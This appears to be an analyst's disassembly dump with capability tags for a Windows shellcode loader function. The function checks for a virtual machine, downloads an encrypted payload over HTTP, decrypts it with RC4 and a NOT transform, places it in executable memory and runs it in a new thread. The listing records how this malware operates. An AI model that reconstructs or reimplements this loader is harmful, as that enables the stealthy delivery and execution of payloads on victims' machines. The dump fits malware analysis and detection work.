Function at 0x4a1ab0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x4d8
call sym.__main
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call sym.DetectVirtualMachineACPI__
test eax, eax
mov r12d, eax
jne 0x4a1fc3
lea r8, [0x004a6042]
lea rbp, [rsp + 0xc0]
lea rax, [rbp + 0x10]
mov rcx, rbp
lea rdx, [r8 - 8]
mov qword [rsp + 0xc0], rax
call method.void_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_construct_char_const__char_const__char_const__std::forward_iterator_tag___clone_.constprop.23_
lea rbx, [rsp + 0x50]
lea r8, [0x004a6052]
mov rcx, rbx
lea rax, [rbx + 0x10]
lea rdx, [r8 - 0xf]
mov qword [rsp + 0x50], rax
call method.void_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_construct_char_const__char_const__char_const__std::forward_iterator_tag___clone_.constprop.23_
lea r13, [rsp + 0x70]
mov r9d, 0x50
mov r8, rbp
mov rdx, rbx
mov rcx, r13
call method.simple_http_client.simple_http_client_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____int_
mov rcx, qword [rsp + 0x50]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x4a1b52
call sym.operator_delete_void_
mov rcx, qword [rsp + 0xc0]
lea rax, [rbp + 0x10]
cmp rcx, rax
je 0x4a1b68
call sym.operator_delete_void_
mov rcx, r13
call method.simple_http_client.SendGetRequest__
lea rdx, [rsp + 0x40]
mov r9, rbx
mov rcx, rax
lea r8, [rsp + 0x48]
call sym.splitEncryptedString_char__char__char__unsigned_long_long_
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x4a1f7b
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
mov rsi, rcx
not rsi
lea rdi, [rsi - 1]
mov r14, rdi
and r14d, 1
jne 0x4a1fd8
mov r15, rdi
shr r15, 1
mov rcx, r15
call sym.operator_new___unsigned_long_long_
test rdi, rdi
mov rsi, rax
je 0x4a1fd8
xor edx, edx
jmp 0x4a1be8
add eax, r8d
mov rcx, rdx
add rdx, 2
shr rcx, 1
cmp rdi, rdx
mov byte [rsi + rcx], al
jbe 0x4a1c27
movzx ecx, byte [rbx + rdx]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x4a1c01
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x4a1fa0
lea eax, [rcx - 0x37]
movzx ecx, byte [rbx + rdx + 1]
shl eax, 4
lea r8d, [rcx - 0x30]
cmp r8b, 9
jbe 0x4a1bd3
lea r8d, [rcx - 0x41]
cmp r8b, 5
ja 0x4a1fb0
lea eax, [rax + rcx - 0x37]
jmp 0x4a1bd6
test r15, r15
je 0x4a1fd8
mov rcx, r15
call sym.operator_new___unsigned_long_long_
mov r8, qword [rsp + 0x48]
mov rbx, rax
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r8
repne scasb al, byte [rdi]
mov rdx, rcx
mov rcx, rbp
not rdx
lea rdx, [rdx - 1]
call sym.RC4_set_key
mov r9, rbx
mov r8, rsi
mov rdx, r15
mov rcx, rbp
call sym.RC4
mov rcx, rsi
call sym.operator_delete___void_
mov rcx, qword [rsp + 0x50]
shr rcx, 1
call sym.operator_new___unsigned_long_long_
mov rsi, rax
mov rax, qword [rsp + 0x50]
mov rdx, rax
shr rdx, 1
je 0x4a1e4f
lea rcx, [rdx - 1]
cmp rcx, 0xe
jbe 0x4a205e
shr rax, 5
pcmpeqd xmm1, xmm1
mov rcx, rax
mov r14, rax
xor eax, eax
shl rcx, 4
nop dword [rax]
movdqu xmm0, xmmword [rbx + rax]
pxor xmm0, xmm1
movups xmmword [rsi + rax], xmm0
add rax, 0x10
cmp rcx, rax
jne 0x4a1cc0
shl r14, 4
cmp rdx, r14
mov eax, r14d
je 0x4a1e4f
movzx ecx, byte [rbx + r14]
not ecx
mov byte [rsi + r14], cl
lea ecx, [rax + 1]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 2]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 3]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 4]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 5]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 6]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 7]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 8]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 9]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 0xa]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 0xb]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 0xc]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
not r8d
mov byte [rsi + rcx], r8b
lea ecx, [rax + 0xd]
movsxd rcx, ecx
cmp rdx, rcx
jbe 0x4a1e4f
movzx r8d, byte [rbx + rcx]
add eax, 0xe
cdqe
cmp rdx, rax
not r8d
mov byte [rsi + rcx], r8b
jbe 0x4a1e4f
movzx edx, byte [rbx + rax]
not edx
mov byte [rsi + rax], dl
mov rcx, rbx
call sym.operator_delete___void_
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rdx, qword [rsp + 0x50]
mov qword [0x004cf030], rax
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x1000
shr rdx, 1
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
mov rbx, rax
je 0x4a2065
mov rdx, qword [rsp + 0x50]
lea rbp, [rsp + 0x3c]
mov r8d, 0x40
mov rcx, rax
mov r9, rbp
mov rdi, qword [sym.imp.KERNEL32.dll_VirtualProtect]
shr rdx, 1
call rdi
test eax, eax
je 0x4a1ffc
mov rdx, qword [rsp + 0x50]
shr rdx, 1
je 0x4a1ee8
xor eax, eax
nop dword [rax]
movzx edx, byte [rsi + rax]
mov byte [rbx + rax], dl
mov rdx, qword [rsp + 0x50]
add rax, 1
shr rdx, 1
cmp rdx, rax
ja 0x4a1ed0
mov r9, rbp
mov r8d, dword [rsp + 0x3c]
mov rcx, rbx
call rdi
test eax, eax
je 0x4a1ffc
mov rcx, rsi
call sym.operator_delete___void_
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x4a1f14
call sym.operator_delete___void_
mov qword [rsp + 0x28], 0
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
lea r8, [sym.ThreadFunction_void_]
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov rsi, rax
je 0x4a2043
or edx, 0xffffffff
mov rcx, qword [0x004cf030]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [0x004cf030]
call rsi
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r13
call method.simple_http_client.simple_http_client__
mov eax, r12d
add rsp, 0x4d8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x4a1fd8
lea eax, [rcx - 0x57]
jmp 0x4a1c01
lea r8d, [rcx - 0x61]
cmp r8b, 5
ja 0x4a1fd8
lea eax, [rax + rcx - 0x57]
jmp 0x4a1bd6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
xor r12d, r12d
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4a1f83
mov ecx, 2
call qword [sym.__acrt_iob_func]
lea rdx, str.hex2bin_failed_n
mov rcx, rax
call sym.fprintf__iobuf__char_const__::___clone_constprop26_
mov ecx, 1
call sym.exit
mov rcx, qword [0x004aaff0]
mov r8d, 0x15
lea rdx, str.VirtualProtect_failed
call method.std::basic_ostream_char__std::char_traits_char____std::__ostream_insert_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const__long_long_
mov rcx, qword [0x004aaff0]
call method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r13
or r12d, 0xffffffff
call method.simple_http_client.simple_http_client__
jmp 0x4a1f83
mov rcx, qword [0x004aaff0]
mov r8d, 0x16
lea rdx, str.Thread_creation_failed
call method.std::basic_ostream_char__std::char_traits_char____std::__ostream_insert_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const__long_long_
jmp 0x4a2015
xor eax, eax
jmp 0x4a1ce6
lea rcx, str.VirtualAlloc_failed
call sym.perror
mov rcx, rsi
call sym.operator_delete___void_
mov ecx, 1
call sym.exit
mov rsi, rax
mov rcx, qword [rsp + 0xc0]
add rbp, 0x10
cmp rcx, rbp
je 0x4a209c
call sym.operator_delete_void_
mov rcx, rsi
call dbg._Unwind_Resume
mov rbx, rax
mov rcx, r13
call method.simple_http_client.simple_http_client__
mov rcx, rbx
call dbg._Unwind_Resume
mov rcx, qword [rsp + 0x50]
add rbx, 0x10
mov rsi, rax
cmp rcx, rbx
je 0x4a2086
call sym.operator_delete_void_
jmp 0x4a2086